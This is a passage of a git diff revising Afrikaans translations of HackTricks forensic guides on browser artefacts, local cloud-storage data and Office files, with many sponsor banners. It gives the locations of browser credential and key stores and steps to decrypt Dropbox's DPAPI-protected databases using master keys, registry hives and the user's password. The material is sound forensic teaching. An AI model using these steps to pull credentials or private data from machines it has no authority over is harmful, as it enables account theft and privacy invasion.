--diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` -* **Om uitgevee lêers op te spoor**: +* **Om uitgeveërde lêers op te spoor**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` @@ -416,11 +416,11 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! -Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +Werk jy in 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! -* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -431,7 +431,7 @@ Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index c37421a4a..ebc4945bf 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -6,7 +6,7 @@ Ander maniere om HackTricks te ondersteun: -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -17,23 +17,23 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) om maklik te bou en **werkstrome outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} ## Browser Artefakte -Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke velde binne die bedryfstelsel gehou, wat verskil in ligging en naam oor blaaier, maar oor die algemeen soortgelyke datatipes stoor. +Browser artefakte sluit verskeie soorte data in wat deur webblaaier gestoor word, soos navigasiegeskiedenis, bladmerke en tuisbladdata. Hierdie artefakte word in spesifieke vouers binne die bedryfstelsel gehou, wat verskil in ligging en naam oor verskillende blaaier, maar oor die algemeen soortgelyke datatipes stoor. Hier is 'n opsomming van die mees algemene blaaier artefakte: * **Navigasiegeskiedenis**: Spoor gebruikersbesoeke aan webwerwe, nuttig vir die identifisering van besoeke aan skadelike webwerwe. * **Outomatiese Data**: Voorstelle gebaseer op gereelde soektogte, bied insigte wanneer dit gekombineer word met navigasiegeskiedenis. -* **Bladmerke**: Webwerwe wat deur die gebruiker gestoor is vir vinnige toegang. +* **Bladmerke**: Webwerwe wat deur die gebruiker gestoor word vir vinnige toegang. * **Uitbreidings en Byvoegings**: Blaaieruitbreidings of byvoegings wat deur die gebruiker geïnstalleer is. -* **Tuisblad**: Stoor webinhoud (bv. afbeeldings, JavaScript-lêers) om webwerf-laaitye te verbeter, waardevol vir forensiese analise. -* **Aantekeninge**: Gestoorde aanmeldingslegitimasie. +* **Cache**: Stoor webinhoud (bv. afbeeldings, JavaScript-lêers) om webwerf-laaitye te verbeter, waardevol vir forensiese analise. +* **Aantekeninge**: Gestoorde aanmeldingsgelde. * **Favicons**: Ikone wat met webwerwe geassosieer word, verskyn in lêers en bladmerke, nuttig vir addisionele inligting oor gebruikersbesoeke. * **Blaaier-sessies**: Data wat verband hou met oop blaaier-sessies. * **Aflaaie**: Rekords van lêers wat deur die blaaier afgelaai is. @@ -43,13 +43,13 @@ Hier is 'n opsomming van die mees algemene blaaier artefakte: ## Firefox -Firefox organiseer gebruikersdata binne profiele, gestoor op spesifieke ligginge gebaseer op die bedryfstelsel: +Firefox organiseer gebruikersdata binne profiele, gestoor op spesifieke plekke gebaseer op die bedryfstelsel: * **Linux**: `~/.mozilla/firefox/` * **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` * **Windows**: `%userprofile%\AppData\Roaming/Mozilla/Firefox/Profiles/` -'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Elke profiel se data word gestoor in 'n vouer genoem in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, mag dit verwyder wees. +'n `profiles.ini`-lêer binne hierdie gide lys die gebruikersprofiele. Die data van elke profiel word gestoor in 'n vouer genaamd in die `Path`-veranderlike binne `profiles.ini`, geleë in dieselfde gids as `profiles.ini` self. As 'n profiel se vouer ontbreek, kan dit verwyder wees. Binne elke profielvouer kan jy verskeie belangrike lêers vind: @@ -57,15 +57,15 @@ Binne elke profielvouer kan jy verskeie belangrike lêers vind: * Gebruik spesifieke SQL-navrae om geskiedenis- en aflaaie-inligting te onttrek. * **bookmarkbackups**: Bevat rugsteun van bladmerke. * **formhistory.sqlite**: Stoor webvormdata. -* **handlers.json**: Bestuur protokolhanterings. +* **handlers.json**: Bestuur protokolhanteraars. * **persdict.dat**: Aangepaste woordeboekwoorde. * **addons.json** en **extensions.sqlite**: Inligting oor geïnstalleerde byvoegings en uitbreidings. -* **cookies.sqlite**: Koekie-opberging, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows. -* **cache2/entries** of **startupCache**: Tuisbladdata, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). +* **cookies.sqlite**: Koekie-stoor, met [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) beskikbaar vir inspeksie op Windows. +* **cache2/entries** of **startupCache**: Cache-data, toeganklik deur gereedskap soos [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html). * **favicons.sqlite**: Stoor favicons. * **prefs.js**: Gebruikersinstellings en voorkeure. * **downloads.sqlite**: Ouer aflaaie-databasis, nou geïntegreer in places.sqlite. -* **thumbnails**: Webwerfduimnaels. +* **thumbnails**: Webwerf-duimnaels. * **logins.json**: Versleutelde aanmeldingsinligting. * **key4.db** of **key3.db**: Stoor versleutelingssleutels vir die beveiliging van sensitiewe inligting. @@ -95,21 +95,21 @@ Google Chrome stoor gebruikersprofiele op spesifieke plekke gebaseer op die bedr - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Binne hierdie gids kan die meeste gebruikersdata gevind word in die **Default/** of **ChromeDefaultData/** vouers. Die volgende lêers bevat belangrike data: +Binne hierdie gids kan die meeste gebruikersdata gevind word in die **Default/** of **ChromeDefaultData/** gids. Die volgende lêers bevat belangrike data: -- **Geskiedenis**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Oorgangstipe" kolom het verskeie betekenisse, insluitend gebruikersklikke op skakels, getikte URL's, vorm indienings, en bladsy herlaaiings. +- **Geskiedenis**: Bevat URL's, aflaaie, en soek sleutelwoorde. Op Windows kan [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html) gebruik word om die geskiedenis te lees. Die "Oorgangstipe" kolom het verskeie betekenisse, insluitend gebruikersklikke op skakels, getikte URL's, vormindienings, en bladsy herlaaiings. - **Koekies**: Stoor koekies. Vir inspeksie is [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html) beskikbaar. -- **Cache**: Hou gekaapte data. Windows gebruikers kan [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik vir inspeksie. +- **Cache**: Hou gekaapte data. Windows-gebruikers kan [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html) gebruik vir inspeksie. - **Bladmerke**: Gebruiker bladmerke. -- **Web Data**: Bevat vorm geskiedenis. +- **Web Data**: Bevat vormgeskiedenis. - **Favicons**: Stoor webwerf favicons. -- **Aantekeningsdata**: Sluit aanmeldingsinligting soos gebruikersname en wagwoorde in. -- **Huidige Sessie**/**Huidige Lappe**: Data oor die huidige blaai sessie en oop lappe. -- **Laaste Sessie**/**Laaste Lappe**: Inligting oor die webwerwe aktief tydens die laaste sessie voor Chrome gesluit is. -- **Uitbreidings**: Gidse vir blaaier uitbreidings en byvoegings. +- **Aantekeningsdata**: Sluit aanmeldingsbewyse soos gebruikersname en wagwoorde in. +- **Huidige Sessie**/**Huidige Lappe**: Data oor die huidige blaai-sessie en oop lappe. +- **Laaste Sessie**/**Laaste Lappe**: Inligting oor die webwerwe aktief gedurende die laaste sessie voor Chrome gesluit is. +- **Uitbreidings**: Gidse vir blaaieruitbreidings en byvoegings. - **Duimnaels**: Stoor webwerf duimnaels. - **Voorkeure**: 'n Lêer ryk aan inligting, insluitend instellings vir proppe, uitbreidings, pop-ups, kennisgewings, en meer. -- **Blaaier se ingeboude teen-phishing**: Om te kontroleer of teen-phishing en kwaadwillige beskerming geaktiveer is, hardloop `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Soek na `{"geaktiveer: waar,"}` in die uitset. +- **Blaaier se ingeboude teen-phishing**: Om te kontroleer of anti-phishing en kwaadwillige beskerming geaktiveer is, hardloop `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Soek na `{"geaktiveer: waar,"}` in die uitset. ## **SQLite DB Data Herwinning** @@ -121,11 +121,11 @@ Internet Explorer 11 bestuur sy data en metadata oor verskeie plekke, wat help o ### Metadata Berging -Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Saam met dit, kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuisves in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel, kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype. +Metadata vir Internet Explorer word gestoor in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (met VX wat V01, V16, of V24 kan wees). Tesame hiermee kan die `V01.log` lêer wysigingstyd diskrepansies met `WebcacheVX.data` toon, wat 'n behoefte vir herstel met `esentutl /r V01 /d` aandui. Hierdie metadata, gehuisves in 'n ESE databasis, kan herwin en ondersoek word met hulpmiddels soos photorec en [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) onderskeidelik. Binne die **Containers** tabel kan 'n persoon die spesifieke tabelle of houers onderskei waar elke data segment gestoor word, insluitend cache besonderhede vir ander Microsoft gereedskap soos Skype. ### Cache Inspeksie -Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak voorsiening vir cache inspeksie, wat die lokasie van die cache data ekstraksie vouer benodig. Metadata vir die cache sluit lêernaam, gids, toegangstelling, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui. +Die [IECacheView](https://www.nirsoft.net/utils/ie\_cache\_viewer.html) hulpmiddel maak cache inspeksie moontlik, wat die lokasie van die cache data ekstraksie gids benodig. Metadata vir die cache sluit lêernaam, gids, toegangstellings, URL oorsprong, en tydstempels wat cache skepping, toegang, wysiging, en verval tyd aandui. ### Koekies Bestuur @@ -137,7 +137,7 @@ Aflaaibesonderhede is toeganklik via [ESEDatabaseView](https://www.nirsoft.net/u ### Blaai Geskiedenis -Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die geëkstraeerde geskiedenis lêers en konfigurasie vir Internet Explorer benodig. Metadata hier sluit wysiging en toegangstye in, saam met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Om blaai geskiedenis te hersien, kan [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) gebruik word, wat die lokasie van die uitgepakte geskiedenis lêers en konfigurasie vir Internet Explorer benodig. Metadata hier sluit wysiging en toegangstye in, tesame met toegangstellings. Geskiedenis lêers is geleë in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. ### Getikte URL's @@ -147,7 +147,7 @@ Getikte URL's en hul gebruikstye word binne die register gestoor onder `NTUSER.D Microsoft Edge stoor gebruikersdata in `%userprofile%\Appdata\Local\Packages`. Die paaie vir verskeie datatipes is: -- **Profiel Pad**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` +- **Profiel Paaie**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **Geskiedenis, Koekies, en Aflaaie**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` - **Instellings, Bladmerke, en Leeslys**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb` - **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache` @@ -161,7 +161,7 @@ Safari data word gestoor by `/Users/$User/Library/Safari`. Sleutellêers sluit i - **Downloads.plist**: Inligting oor afgelaaide lêers. - **Bookmarks.plist**: Stoor gebladmerkte URL's. - **TopSites.plist**: Mees besoekte webwerwe. -- **Extensions.plist**: Lys van Safari blaaier uitbreidings. Gebruik `plutil` of `pluginkit` vir herwinning. +- **Extensions.plist**: Lys van Safari blaaieruitbreidings. Gebruik `plutil` of `pluginkit` om te herwin. - **UserNotificationPermissions.plist**: Domeine toegelaat om kennisgewings te stuur. Gebruik `plutil` om te ontled. - **LastSession.plist**: Lappe van die laaste sessie. Gebruik `plutil` om te ontled. - **Blaaier se ingeboude teen-phishing**: Kontroleer met `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. 'n Antwoord van 1 dui aan dat die funksie aktief is. @@ -172,7 +172,26 @@ Opera se data bly in `/Users/$USER/Library/Application Support/com.operasoftware - **Blaaier se ingeboude teen-phishing**: Verifieer deur te kyk of `fraud_protection_enabled` in die Voorkeure lêer op `true` gestel is met `grep`. -Hierdie paaie en bevele is noodsaaklik vir die toegang en begrip van die blaai data gestoor deur verskillende webblaaier. +Hierdie paaie en opdragte is noodsaaklik vir die toegang en begrip van die blaai data gestoor deur verskillende webblaaier. + +## Verwysings + +- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) +- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) +- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file) +- **Boek: OS X Incident Response: Scripting and Analysis Deur Jaron Bradley bl. 123** + +
+ +\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) om maklik **werkvloeie te bou en outomatiseer** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandag Toegang: + +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} + +
+ +Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)! * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks uitrusting**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index e8de8ce46..0c35fbd83 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,11 +2,11 @@
-Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -17,14 +17,14 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} ## OneDrive -In Windows kan jy die OneDrive-folder vind in `\Users\\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat interessante data bevat oor die gesinkroniseerde lêers: +In Windows kan jy die OneDrive-folder vind in `\Users\\AppData\Local\Microsoft\OneDrive`. En binne `logs\Personal` is dit moontlik om die lêer `SyncDiagnostics.log` te vind wat 'n paar interessante data bevat rakende die gesinkroniseerde lêers: * Grootte in bytes * Skeppingsdatum @@ -35,7 +35,7 @@ In Windows kan jy die OneDrive-folder vind in `\Users\\AppData\L * Verslaggenereringstyd * Grootte van die HD van die OS -Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\.ini**_ en _**\.dat**_ wat interessante inligting kan bevat soos die name van lêers wat gesinkroniseer is met OneDrive. +Sodra jy die CID gevind het, word dit aanbeveel om **lêers te soek wat hierdie ID bevat**. Jy mag lêers met die naam vind: _**\.ini**_ en _**\.dat**_ wat interessante inligting kan bevat soos die name van lêers wat met OneDrive gesinkroniseer is. ## Google Drive @@ -62,9 +62,9 @@ En die hoofdatabasisse is: * Deleted.dbx * Config.dbx -Die ".dbx"-uitbreiding beteken dat die **databasisse** **versleutel** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) +Die ".dbx"-uitbreiding beteken dat die **databasisse** **gekripteer** is. Dropbox gebruik **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN)) -Om die versleuteling wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Om die kriptering wat Dropbox gebruik beter te verstaan, kan jy lees [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). Nietemin, die hoofinligting is: @@ -73,20 +73,20 @@ Nietemin, die hoofinligting is: * **Algoritme**: PBKDF2 * **Iterasies**: 1066 -Afgesien van daardie inligting, om die databasisse te ontsluit, benodig jy steeds: +Afgesien van daardie inligting, om die databasisse te dekripteer, het jy steeds nodig: -* Die **versleutelde DPAPI-sleutel**: Jy kan dit in die register binne `NTUSER.DAT\Software\Dropbox\ks\client` vind (eksporteer hierdie data as binêr) +* Die **gekripteerde DPAPI-sleutel**: Jy kan dit in die register binne `NTUSER.DAT\Software\Dropbox\ks\client` vind (eksporteer hierdie data as binêr) * Die **`SYSTEM`** en **`SECURITY`**-bytjies * Die **DPAPI-meestersleutels**: Wat gevind kan word in `\Users\\AppData\Roaming\Microsoft\Protect` * Die **gebruikersnaam** en **wagwoord** van die Windows-gebruiker -Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:** +Dan kan jy die instrument [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** gebruik:** ![](<../../../.gitbook/assets/image (443).png>) -As alles soos verwag verloop, sal die instrument die **hoofleutel** aandui wat jy nodig het om die oorspronklike een te herstel. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die hoofleutel as die "wagwoord" binne die kwitansie te plaas. +As alles soos verwag verloop, sal die instrument die **primêre sleutel** aandui wat jy moet gebruik om die oorspronklike een te herstel. Om die oorspronklike een te herstel, gebruik net hierdie [cyber\_chef kwitansie](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) deur die primêre sleutel as die "wagwoord" binne die kwitansie te plaas. -Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te versleutel wat ontsluit kan word met: +Die resulterende heks is die finale sleutel wat gebruik word om die databasisse te kripteer wat gedekripteer kan word met: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` @@ -116,14 +116,14 @@ Ander tabelle binne hierdie databasis bevat meer interessante inligting:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index ba6b33dad..9247ab910 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -6,7 +6,7 @@ Ander maniere om HackTricks te ondersteun: -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -17,18 +17,18 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %} Vir verdere inligting, besoek [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Dit is net 'n opsomming: -Microsoft het baie kantoorlêerformate geskep, met twee hooftipes wat **OLE-formate** (soos RTF, DOC, XLS, PPT) en **Office Open XML (OOXML) formate** (soos DOCX, XLSX, PPTX) is. Hierdie formate kan makros 